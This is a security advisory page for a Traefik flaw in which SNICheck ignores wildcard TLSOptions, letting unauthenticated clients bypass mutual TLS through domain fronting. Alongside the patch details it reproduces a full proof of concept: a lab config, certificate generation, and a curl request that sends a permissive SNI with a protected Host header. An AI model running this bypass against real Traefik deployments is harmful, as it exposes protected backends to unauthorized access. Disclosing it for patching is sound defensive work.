CVE-2026-48491: Traefik SNICheck Ignores Wildcard TLSOptions Mappings, Vulnerability

HIGH
Advisory Identifier: GHSA-5r4w-85f3-pw66
CVSS 10.0
CWE-807 CWE-288
Published
Advisory Summary

CVE-2026-48491 is a HIGH (CVSS 10.0) snicheck ignores wildcard tlsoptions mappings, vulnerability (CWE-807: Reliance on Untrusted Inputs in a Security Decision) affecting Traefik libraries in the Go ecosystem. The issue involves snicheck ignores wildcard tlsoptions mappings, allowing domain-fronted mtls bypass. Remediation is available by upgrading affected packages to version 2.11.48, 3.7.3.

CVE-2026-48491 at a Glance

CVE Identifier CVE-2026-48491
GHSA Identifier GHSA-5r4w-85f3-pw66
Severity HIGH
CVSS v3.1 Base Score 10.0
CWE Classification CWE-807: Reliance on Untrusted Inputs in a Security Decision
Affected Product Traefik
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-48491

To remediate this vulnerability, upgrade all affected Traefik dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/traefik/traefik/v2 fixed: 2.11.48
Upgrade github.com/traefik/traefik/v2 to 2.11.48
github.com/traefik/traefik/v3 fixed: 3.7.3
Upgrade github.com/traefik/traefik/v3 to 3.7.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/traefik/traefik/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-48491, inspect your project dependencies for Traefik:

inspect dependencies for github.com/traefik/traefik/v2

Analyze the terminal output to locate any version of Traefik in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.11.48), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-807: Reliance on Untrusted Inputs in a Security Decision, where the product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism. In Traefik, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary There is a high severity vulnerability in Traefik's domain-fronting protection (`SNICheck`) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router `TLSOptions`. When a router uses a wildcard host rule such as `Host(`*.example.com`)` with stricter TLS options (for example `RequireAndVerifyClientCert`), `SNICheck` resolves the TLS options for the HTTP `Host` header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP `Host` header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.7.3 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary Traefik's `SNICheck` domain-fronting protection ignores wildcard `TLSOptions` mappings. A wildcard router such as `Host("*.example.com")` can require mTLS for direct access, but an unauthenticated client can complete the TLS handshake with another permissive SNI on the same entrypoint and then send `Host: api.example.com` / HTTP request authority `api.example.com` to reach the wildcard-protected backend. This issue does not require HTTP/3. The PoC uses the regular HTTPS/HTTP2 path and abuses the domain-fronting consistency check between TLS SNI and the HTTP `Host` header. For HTTP/2, this corresponds to the request authority / `Host` value as exposed to Traefik's HTTP request handling. ### Details For the v3 rule-syntax / file-provider path used in this PoC, wildcard `Host` / `HostSNI` matching and TLSOptions association for wildcard domains were introduced in Traefik v3.7. The normal HTTPS/TCP router path uses wildcard-aware matching. The `SNICheck` middleware does not. The router build records TLS option names for host rules: ```go domains, err := httpmuxer.ParseDomains(routerHTTPConfig.Rule) // ... tlsOptionsForHost[domain] = tlsOptionsName ``` The HTTPS forwarder then installs SNI routes: ```go rule := fmt.Sprintf(`HostSNI(%q)`, sniHost) ``` `HostSNI` matching is wildcard-aware: ```go return muxer.DomainMatchHostExpression(meta.serverName, hostExpr) ``` But `pkg/middlewares/snicheck/snicheck.go` resolves the host's TLS option name with exact lookups only: ```go func findTLSOptionName(tlsOptionsForHost map[string]string, host string, fqdn bool) string { name := findTLSOptName(tlsOptionsForHost, host, fqdn) if name != "" { return name } name = findTLSOptName(tlsOptionsForHost, strings.ToLower(host), fqdn) if name != "" { return name } return traefiktls.DefaultTLSConfigName } func findTLSOptName(tlsOptionsForHost map[string]string, host string, fqdn bool) string { if tlsOptions, ok := tlsOptionsForHost[host]; ok { return tlsOptions } if !fqdn { return "" } if last := len(host) - 1; last >= 0 && host[last] == '.' { if tlsOptions, ok := tlsOptionsForHost[host[:last]]; ok { return tlsOptions } return "" } if tlsOptions, ok := tlsOptionsForHost[host+"."]; ok { return tlsOptions } return "" } ``` There is no wildcard matching step for entries such as `*.example.com`. As a result, `Host: api.example.com` can be classified as using default TLS options even though the router matched a wildcard host with stricter `TLSOptions`. Preconditions: - A protected router uses wildcard `Host` / `HostSNI` with router-specific `TLSOptions`. - The protected wildcard router uses stricter TLS options, such as `RequireAndVerifyClientCert`. - Another SNI/default TLS path on the same entrypoint allows a handshake without a client certificate. - The client can send an HTTP `Host` header different from the TLS SNI. Relationship to my previous HTTP/3 report: I previously submitted a related HTTP/3 mTLS bypass involving `Router.GetTLSGetClientInfo()` and exact/case-sensitive SNI lookup. This report is separate. It does not require HTTP/3 or QUIC. It affects the regular HTTPS/HTTP2 path and is caused by `SNICheck` resolving `tlsOptionsForHost` with exact lookups only, without wildcard matching. The exploit uses domain fronting: a permissive TLS SNI is used for the handshake, while the HTTP request authority / `Host` header targets a wildcard-protected backend. Relationship to public issue #12349: This is related to public issue #12349, where wildcard hosts were observed to be classified as `default` by `SNICheck`, causing unexpected `421 Misdirected Request` responses in some wildcard setups: ```text TLS options difference: SNI:https-ext@file, Header:default ``` The public issue demonstrates the same wildcard resolution gap as an availability/operational problem. This report demonstrates a security-impacting false-negative variant that can bypass router-specific mTLS when a permissive SNI exists on the same entrypoint. When the attacker chooses a permissive/default SNI and sends a protected wildcard host in the HTTP `Host` header, both sides can be classified as `default`, so `SNICheck` does not return `421`. The later HTTP router then matches the wildcard-protected backend and the request is forwarded without enforcing the wildcard route's mTLS policy. Related wildcard `SNICheck` behavior has also been observed in Kubernetes Ingress setups, as described in public issue #12349. The PoC below uses the file provider and v3 rule syntax to keep the reproduction minimal and self-contained. Minimal dynamic configuration: ```yaml http: routers: protected: rule: Host(`*.example.com`) service: protected tls: options: mtls public: rule: Host(`public.example.net`) service: public tls: {} services: protected: loadBalancer: servers: - url: http://protected:80 public: loadBalancer: servers: - url: http://public:80 tls: certificates: - certFile: /certs/server.crt keyFile: /certs/server.key options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert ``` Minimal Docker Compose: ```yaml services: traefik: image: traefik:v3.7.1 command: - --log.level=DEBUG - --entrypoints.websecure.address=:8443 - --providers.file.filename=/etc/traefik/dynamic.yml - --providers.file.watch=false ports: - "8443:8443" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro - ./certs:/certs:ro depends_on: - protected - public protected: image: traefik/whoami:v1.11 command: - --name=PROTECTED public: image: traefik/whoami:v1.11 command: - --name=PUBLIC ``` Certificate generation: ```bash rm -rf certs mkdir -p certs openssl req -x509 -newkey rsa:2048 -nodes -days 7 \ -keyout certs/ca.key \ -out certs/ca.crt \ -subj "/CN=traefik-poc-ca" openssl req -newkey rsa:2048 -nodes \ -keyout certs/server.key \ -out certs/server.csr \ -subj "/CN=public.example.net" \ -addext "subjectAltName=DNS:public.example.net,DNS:api.example.com,DNS:*.example.com" openssl x509 -req \ -in certs/server.csr \ -CA certs/ca.crt \ -CAkey certs/ca.key \ -CAcreateserial \ -out certs/server.crt \ -days 7 \ -sha256 \ -copy_extensions copyall ``` ### PoC Start Traefik with the configuration above. Test environment: - Traefik images tested: `v3.7.0`, `v3.7.1` - Backend image: `traefik/whoami:v1.11` - Client: `curl` with HTTPS/HTTP2 support - EntryPoint: TCP port `8443` exposed locally - Provider: file provider Control 1: the permissive public route works normally and reaches the public backend: ```bash curl --noproxy '*' --http2 -skv \ --resolve public.example.net:8443:127.0.0.1 \ https://public.example.net:8443/ ``` Observed result: ```text HTTP/2 200 Name: PUBLIC Host: public.example.net:8443 ``` Control 2: direct access to the wildcard-protected host without a client certificate is blocked: ```bash curl --noproxy '*' --http2 -skv \ --resolve api.example.com:8443:127.0.0.1 \ https://api.example.com:8443/ ``` Observed result: ```text TLS alert ... certificate required ``` Bypass: use the permissive public SNI for the TLS handshake, but send the protected wildcard host in the HTTP request: ```bash curl --noproxy '*' --http2 -skv \ --resolve public.example.net:8443:127.0.0.1 \ https://public.example.net:8443/ \ -H 'Host: api.example.com' ``` Observed result: ```text HTTP/2 200 Name: PROTECTED Host: api.example.com ``` The curl verbose output shows that the HTTP/2 request authority / `Host` value is `api.example.com`, while the TLS SNI is taken from the URL host `public.example.net`: ```text * [HTTP/2] [1] [:authority: api.example.com] > Host: api.example.com ``` Expected result: ```text HTTP/2 421 Misdirected Request ``` Traefik should return `421 Misdirected Request` because the HTTP `Host` header resolves to the wildcard route's `mtls` TLSOptions while the TLS SNI resolves to permissive/default TLSOptions. Negative control with exact host: Replacing the protected router rule with exact `Host("api.example.com")` while keeping `tls.options=mtls` causes the same domain-fronting request to be rejected: ```yaml http: routers: protected: rule: Host(`api.example.com`) service: protected tls: options: mtls ``` Run the same request: ```bash curl --noproxy '*' --http2 -skv \ --resolve public.example.net:8443:127.0.0.1 \ https://public.example.net:8443/ \ -H 'Host: api.example.com' ``` Observed result: ```text HTTP/2 421 Misdirected Request ``` This shows that the bypass depends on wildcard TLSOptions resolution in `SNICheck`, not on a generic failure of the domain-fronting check. Regression test used during validation: ```bash go test ./pkg/middlewares/snicheck \ -run TestSNICheck_WildcardTLSOptionsCurrentBehavior \ -count=1 ``` Version matrix observed with Docker images: ```text v3.6.17: this file-provider wildcard PoC did not reproduce; the wildcard route returned 404 in this setup v3.7.0: affected v3.7.1: affected ``` ### Impact Deployments that use wildcard router `TLSOptions` for client certificate authentication can expose protected backends to unauthenticated clients when another permissive SNI exists on the same entrypoint. The TLS handshake is completed under the permissive/default TLS options selected for the SNI, while the later HTTP router still dispatches the request to the wildcard route that was configured with mTLS-specific TLSOptions. This bypasses a security boundary that administrators can reasonably expect to be enforced by `tls.options=mtls` on the wildcard route. A possible fix would be for `SNICheck` to resolve `tlsOptionsForHost` using the same wildcard-aware host matching semantics used by the router / `HostSNI` matching, rather than exact map lookups only. Possible workarounds until a fix is available: - Avoid wildcard router `TLSOptions` for mTLS access control. - Enumerate exact protected hostnames instead of using wildcard `Host` rules. - Enforce mTLS in the default TLS options as well. - Avoid mixing permissive and mTLS-protected hosts on the same entrypoint. - Block or reject domain-fronted requests at another layer. </details> ---

CVE-2026-48491 Affected Traefik Versions

2 component(s)
Fixed Versions:
2.11.483.7.3
Product / Package Ecosystem Affected Versions Fixed Version
github.com/traefik/traefik/v2
Go
< 2.11.48
2.11.48
github.com/traefik/traefik/v3
Go
≥ 3.7.0
< 3.7.3
3.7.3

References

Frequently Asked Questions

What is CVE-2026-48491?
CVE-2026-48491 is a security vulnerability in Traefik involving SNICheck ignores wildcard TLSOptions mappings, allowing domain-fronted mTLS bypass under CWE-807: Reliance on Untrusted Inputs in a Security Decision.
Which Traefik versions are affected?
Affected versions include releases prior to 2.11.48, 3.7.3 across affected packages: github.com/traefik/traefik/v2, github.com/traefik/traefik/v3.
What version fixes CVE-2026-48491?
Upgrading to 2.11.48, 3.7.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/traefik/traefik/v2 affected?
Yes, github.com/traefik/traefik/v2 is affected in releases prior to 2.11.48. Upgrade your dependency to 2.11.48 or later.
Is github.com/traefik/traefik/v3 affected?
Yes, github.com/traefik/traefik/v3 is affected in releases prior to 3.7.3. Upgrade your dependency to 3.7.3 or later.
What is the CVSS score of CVE-2026-48491?
CVE-2026-48491 has a CVSS v3.1 base score of 10.0 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-48491?
CVE-2026-48491 is classified under CWE-807: Reliance on Untrusted Inputs in a Security Decision (The product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.).
How can I check Go dependencies for CVE-2026-48491?
Run the dependency tree command: 'inspect dependencies for github.com/traefik/traefik/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5r4w-85f3-pw66",
  "modified" : "2026-09-02T15:34:19Z",
  "published" : "2026-06-16T19:02:20Z",
  "aliases" : [ "CVE-2026-48491" ],
  "summary" : "Traefik: SNICheck ignores wildcard TLSOptions mappings, allowing domain-fronted mTLS bypass",
  "details" : "## Summary\n\nThere is a high severity vulnerability in Traefik's domain-fronting protection (`SNICheck`) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router `TLSOptions`. When a router uses a wildcard host rule such as `Host(`*.example.com`)` with stricter TLS options (for example `RequireAndVerifyClientCert`), `SNICheck` resolves the TLS options for the HTTP `Host` header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP `Host` header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.3\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n### Summary\n\nTraefik's `SNICheck` domain-fronting protection ignores wildcard `TLSOptions` mappings. A wildcard router such as `Host(\"*.example.com\")` can require mTLS for direct access, but an unauthenticated client can complete the TLS handshake with another permissive SNI on the same entrypoint and then send `Host: api.example.com` / HTTP request authority `api.example.com` to reach the wildcard-protected backend.\n\nThis issue does not require HTTP/3. The PoC uses the regular HTTPS/HTTP2 path and abuses the domain-fronting consistency check between TLS SNI and the HTTP `Host` header.\n\nFor HTTP/2, this corresponds to the request authority / `Host` value as exposed to Traefik's HTTP request handling.\n\n### Details\n\nFor the v3 rule-syntax / file-provider path used in this PoC, wildcard `Host` / `HostSNI` matching and TLSOptions association for wildcard domains were introduced in Traefik v3.7. The normal HTTPS/TCP router path uses wildcard-aware matching. The `SNICheck` middleware does not.\n\nThe router build records TLS option names for host rules:\n\n```go\ndomains, err := httpmuxer.ParseDomains(routerHTTPConfig.Rule)\n// ...\ntlsOptionsForHost[domain] = tlsOptionsName\n```\n\nThe HTTPS forwarder then installs SNI routes:\n\n```go\nrule := fmt.Sprintf(`HostSNI(%q)`, sniHost)\n```\n\n`HostSNI` matching is wildcard-aware:\n\n```go\nreturn muxer.DomainMatchHostExpression(meta.serverName, hostExpr)\n```\n\nBut `pkg/middlewares/snicheck/snicheck.go` resolves the host's TLS option name with exact lookups only:\n\n```go\nfunc findTLSOptionName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {\n    name := findTLSOptName(tlsOptionsForHost, host, fqdn)\n    if name != \"\" {\n        return name\n    }\n\n    name = findTLSOptName(tlsOptionsForHost, strings.ToLower(host), fqdn)\n    if name != \"\" {\n        return name\n    }\n\n    return traefiktls.DefaultTLSConfigName\n}\n\nfunc findTLSOptName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {\n    if tlsOptions, ok := tlsOptionsForHost[host]; ok {\n        return tlsOptions\n    }\n\n    if !fqdn {\n        return \"\"\n    }\n\n    if last := len(host) - 1; last >= 0 && host[last] == '.' {\n        if tlsOptions, ok := tlsOptionsForHost[host[:last]]; ok {\n            return tlsOptions\n        }\n\n        return \"\"\n    }\n\n    if tlsOptions, ok := tlsOptionsForHost[host+\".\"]; ok {\n        return tlsOptions\n    }\n\n    return \"\"\n}\n```\n\nThere is no wildcard matching step for entries such as `*.example.com`. As a result, `Host: api.example.com` can be classified as using default TLS options even though the router matched a wildcard host with stricter `TLSOptions`.\n\nPreconditions:\n\n- A protected router uses wildcard `Host` / `HostSNI` with router-specific `TLSOptions`.\n- The protected wildcard router uses stricter TLS options, such as `RequireAndVerifyClientCert`.\n- Another SNI/default TLS path on the same entrypoint allows a handshake without a client certificate.\n- The client can send an HTTP `Host` header different from the TLS SNI.\n\nRelationship to my previous HTTP/3 report:\n\nI previously submitted a related HTTP/3 mTLS bypass involving `Router.GetTLSGetClientInfo()` and exact/case-sensitive SNI lookup.\n\nThis report is separate. It does not require HTTP/3 or QUIC. It affects the regular HTTPS/HTTP2 path and is caused by `SNICheck` resolving `tlsOptionsForHost` with exact lookups only, without wildcard matching. The exploit uses domain fronting: a permissive TLS SNI is used for the handshake, while the HTTP request authority / `Host` header targets a wildcard-protected backend.\n\nRelationship to public issue #12349:\n\nThis is related to public issue #12349, where wildcard hosts were observed to be classified as `default` by `SNICheck`, causing unexpected `421 Misdirected Request` responses in some wildcard setups:\n\n```text\nTLS options difference: SNI:https-ext@file, Header:default\n```\n\nThe public issue demonstrates the same wildcard resolution gap as an availability/operational problem. This report demonstrates a security-impacting false-negative variant that can bypass router-specific mTLS when a permissive SNI exists on the same entrypoint. When the attacker chooses a permissive/default SNI and sends a protected wildcard host in the HTTP `Host` header, both sides can be classified as `default`, so `SNICheck` does not return `421`. The later HTTP router then matches the wildcard-protected backend and the request is forwarded without enforcing the wildcard route's mTLS policy.\n\nRelated wildcard `SNICheck` behavior has also been observed in Kubernetes Ingress setups, as described in public issue #12349. The PoC below uses the file provider and v3 rule syntax to keep the reproduction minimal and self-contained.\n\nMinimal dynamic configuration:\n\n```yaml\nhttp:\n  routers:\n    protected:\n      rule: Host(`*.example.com`)\n      service: protected\n      tls:\n        options: mtls\n\n    public:\n      rule: Host(`public.example.net`)\n      service: public\n      tls: {}\n\n  services:\n    protected:\n      loadBalancer:\n        servers:\n          - url: http://protected:80\n\n    public:\n      loadBalancer:\n        servers:\n          - url: http://public:80\n\ntls:\n  certificates:\n    - certFile: /certs/server.crt\n      keyFile: /certs/server.key\n\n  options:\n    mtls:\n      clientAuth:\n        caFiles:\n          - /certs/ca.crt\n        clientAuthType: RequireAndVerifyClientCert\n```\n\nMinimal Docker Compose:\n\n```yaml\nservices:\n  traefik:\n    image: traefik:v3.7.1\n    command:\n      - --log.level=DEBUG\n      - --entrypoints.websecure.address=:8443\n      - --providers.file.filename=/etc/traefik/dynamic.yml\n      - --providers.file.watch=false\n    ports:\n      - \"8443:8443\"\n    volumes:\n      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n      - ./certs:/certs:ro\n    depends_on:\n      - protected\n      - public\n\n  protected:\n    image: traefik/whoami:v1.11\n    command:\n      - --name=PROTECTED\n\n  public:\n    image: traefik/whoami:v1.11\n    command:\n      - --name=PUBLIC\n```\n\nCertificate generation:\n\n```bash\nrm -rf certs\nmkdir -p certs\n\nopenssl req -x509 -newkey rsa:2048 -nodes -days 7 \\\n  -keyout certs/ca.key \\\n  -out certs/ca.crt \\\n  -subj \"/CN=traefik-poc-ca\"\n\nopenssl req -newkey rsa:2048 -nodes \\\n  -keyout certs/server.key \\\n  -out certs/server.csr \\\n  -subj \"/CN=public.example.net\" \\\n  -addext \"subjectAltName=DNS:public.example.net,DNS:api.example.com,DNS:*.example.com\"\n\nopenssl x509 -req \\\n  -in certs/server.csr \\\n  -CA certs/ca.crt \\\n  -CAkey certs/ca.key \\\n  -CAcreateserial \\\n  -out certs/server.crt \\\n  -days 7 \\\n  -sha256 \\\n  -copy_extensions copyall\n```\n\n### PoC\n\nStart Traefik with the configuration above.\n\nTest environment:\n\n- Traefik images tested: `v3.7.0`, `v3.7.1`\n- Backend image: `traefik/whoami:v1.11`\n- Client: `curl` with HTTPS/HTTP2 support\n- EntryPoint: TCP port `8443` exposed locally\n- Provider: file provider\n\nControl 1: the permissive public route works normally and reaches the public backend:\n\n```bash\ncurl --noproxy '*' --http2 -skv \\\n  --resolve public.example.net:8443:127.0.0.1 \\\n  https://public.example.net:8443/\n```\n\nObserved result:\n\n```text\nHTTP/2 200\nName: PUBLIC\nHost: public.example.net:8443\n```\n\nControl 2: direct access to the wildcard-protected host without a client certificate is blocked:\n\n```bash\ncurl --noproxy '*' --http2 -skv \\\n  --resolve api.example.com:8443:127.0.0.1 \\\n  https://api.example.com:8443/\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\nBypass: use the permissive public SNI for the TLS handshake, but send the protected wildcard host in the HTTP request:\n\n```bash\ncurl --noproxy '*' --http2 -skv \\\n  --resolve public.example.net:8443:127.0.0.1 \\\n  https://public.example.net:8443/ \\\n  -H 'Host: api.example.com'\n```\n\nObserved result:\n\n```text\nHTTP/2 200\nName: PROTECTED\nHost: api.example.com\n```\n\nThe curl verbose output shows that the HTTP/2 request authority / `Host` value is `api.example.com`, while the TLS SNI is taken from the URL host `public.example.net`:\n\n```text\n* [HTTP/2] [1] [:authority: api.example.com]\n> Host: api.example.com\n```\n\nExpected result:\n\n```text\nHTTP/2 421\nMisdirected Request\n```\n\nTraefik should return `421 Misdirected Request` because the HTTP `Host` header resolves to the wildcard route's `mtls` TLSOptions while the TLS SNI resolves to permissive/default TLSOptions.\n\nNegative control with exact host:\n\nReplacing the protected router rule with exact `Host(\"api.example.com\")` while keeping `tls.options=mtls` causes the same domain-fronting request to be rejected:\n\n```yaml\nhttp:\n  routers:\n    protected:\n      rule: Host(`api.example.com`)\n      service: protected\n      tls:\n        options: mtls\n```\n\nRun the same request:\n\n```bash\ncurl --noproxy '*' --http2 -skv \\\n  --resolve public.example.net:8443:127.0.0.1 \\\n  https://public.example.net:8443/ \\\n  -H 'Host: api.example.com'\n```\n\nObserved result:\n\n```text\nHTTP/2 421\nMisdirected Request\n```\n\nThis shows that the bypass depends on wildcard TLSOptions resolution in `SNICheck`, not on a generic failure of the domain-fronting check.\n\nRegression test used during validation:\n\n```bash\ngo test ./pkg/middlewares/snicheck \\\n  -run TestSNICheck_WildcardTLSOptionsCurrentBehavior \\\n  -count=1\n```\n\nVersion matrix observed with Docker images:\n\n```text\nv3.6.17: this file-provider wildcard PoC did not reproduce; the wildcard route returned 404 in this setup\nv3.7.0: affected\nv3.7.1: affected\n```\n\n### Impact\n\nDeployments that use wildcard router `TLSOptions` for client certificate authentication can expose protected backends to unauthenticated clients when another permissive SNI exists on the same entrypoint.\n\nThe TLS handshake is completed under the permissive/default TLS options selected for the SNI, while the later HTTP router still dispatches the request to the wildcard route that was configured with mTLS-specific TLSOptions. This bypasses a security boundary that administrators can reasonably expect to be enforced by `tls.options=mtls` on the wildcard route.\n\nA possible fix would be for `SNICheck` to resolve `tlsOptionsForHost` using the same wildcard-aware host matching semantics used by the router / `HostSNI` matching, rather than exact map lookups only.\n\nPossible workarounds until a fix is available:\n\n- Avoid wildcard router `TLSOptions` for mTLS access control.\n- Enumerate exact protected hostnames instead of using wildcard `Host` rules.\n- Enforce mTLS in the default TLS options as well.\n- Avoid mixing permissive and mTLS-protected hosts on the same entrypoint.\n- Block or reject domain-fronted requests at another layer.\n\n</details>\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.11.48"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.7.0"
      }, {
        "fixed" : "3.7.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/security/advisories/GHSA-5r4w-85f3-pw66"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-48491"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:62260"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/security/cve/CVE-2026-48491"
  }, {
    "type" : "WEB",
    "url" : "https://bugzilla.redhat.com/show_bug.cgi?id=2491923"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/traefik/traefik"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v2.11.48"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v3.6.19"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v3.7.3"
  }, {
    "type" : "WEB",
    "url" : "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48491.json"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-288", "CWE-807" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-16T19:02:20Z",
    "nvd_published_at" : "2026-06-23T20:16:48Z"
  }
}